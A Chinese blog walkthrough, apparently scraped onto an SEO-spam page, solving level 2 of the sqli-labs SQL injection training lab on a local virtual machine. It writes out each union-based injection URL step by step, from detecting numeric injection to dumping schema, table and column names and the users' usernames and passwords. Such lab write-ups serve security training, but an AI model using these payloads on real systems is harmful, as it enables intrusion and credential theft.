当前位置: 首页 > news >正文

武汉论坛网站杭州排名优化公司电话

武汉论坛网站,杭州排名优化公司电话,想做网站怎么跟做网站的公司谈判,问卷星网站开发市场调查问卷sqli-labs靶场第二关less-2 本次测试在虚拟机搭建靶场,从主机测试 1、输入?id1和?id2发现有不同的页面回显 2、判断注入类型 http://192.168.128.3/sq/Less-2/?id1’ 从回显判断多一个‘ ,预测可能是数字型注入 输入 http://192.168.128.3/sq/Less…

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试在这里插入图片描述

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1’

在这里插入图片描述

从回显判断多一个‘ ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1
http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

在这里插入图片描述

http://192.168.128.3/sq/Less-2/?id=1 group by 4

在这里插入图片描述

http://192.168.128.3/sq/Less-2/?id=1 group by 3

在这里插入图片描述

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3
在这里插入图片描述

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

在这里插入图片描述

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

在这里插入图片描述

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’

在这里插入图片描述

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’

在这里插入图片描述

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,‘~’,password),3 from security.users

在这里插入图片描述
** 大功告成**

http://www.15wanjia.com/news/19520.html

相关文章:

  • 网站做的不满意网络搭建教程
  • 做日用品的要找什么网站好企业网站建设的步骤
  • 做网站哪一家公司好短视频营销的特点
  • wordpress如何克隆其他主题常州seo外包
  • 襄阳市住房和城乡建设局官方网站搜索引擎优化seo专员
  • 中国建设委员会网站上seo推广的特点
  • 专业做ppt的网站深圳网站建设服务
  • 英德网站建设网络推广网络营销和网站推广的区别
  • 怎么制作微信购物网站google seo教程
  • dedecms新网站 上传到万网的空间免费生成短链接
  • 国外哪些网站做产品推广比较好seowhy官网
  • 联邦快递的网站建设百度网络小说排行榜
  • wordpress模版 使用宁波seo网络推广优化价格
  • 河南无限动力做网站怎么样深圳推广优化公司
  • 个体可以做企业网站吗百度联盟广告收益
  • 做网站就必须要开公司吗推广什么app佣金高
  • 建立网站如何盈利虎扑体育网体育
  • 网站开发软件学习seo服务如何收费
  • 企业服务平台工程建设云谷歌seo最好的公司
  • 福州城乡建设发展总公司官方网站在线生成个人网站源码
  • 临沂手机网站建设seo有哪些优缺点?
  • 哈尔滨市建设安全监察网站_首页私域流量运营管理
  • 石家庄网站开发价格网站推广方案策划书2000
  • 免费的制作网站如何做百度推广
  • 可以做语文阅读题的网站网络推广服务
  • 揭阳 网站建设容易被百度收录的网站
  • 网站建设本科毕业论文超级软文
  • 惠州网站建设制作公司济南做网站公司
  • 汕头 网站建设数字营销软件
  • 医院网站建设报价关键词密度查询站长工具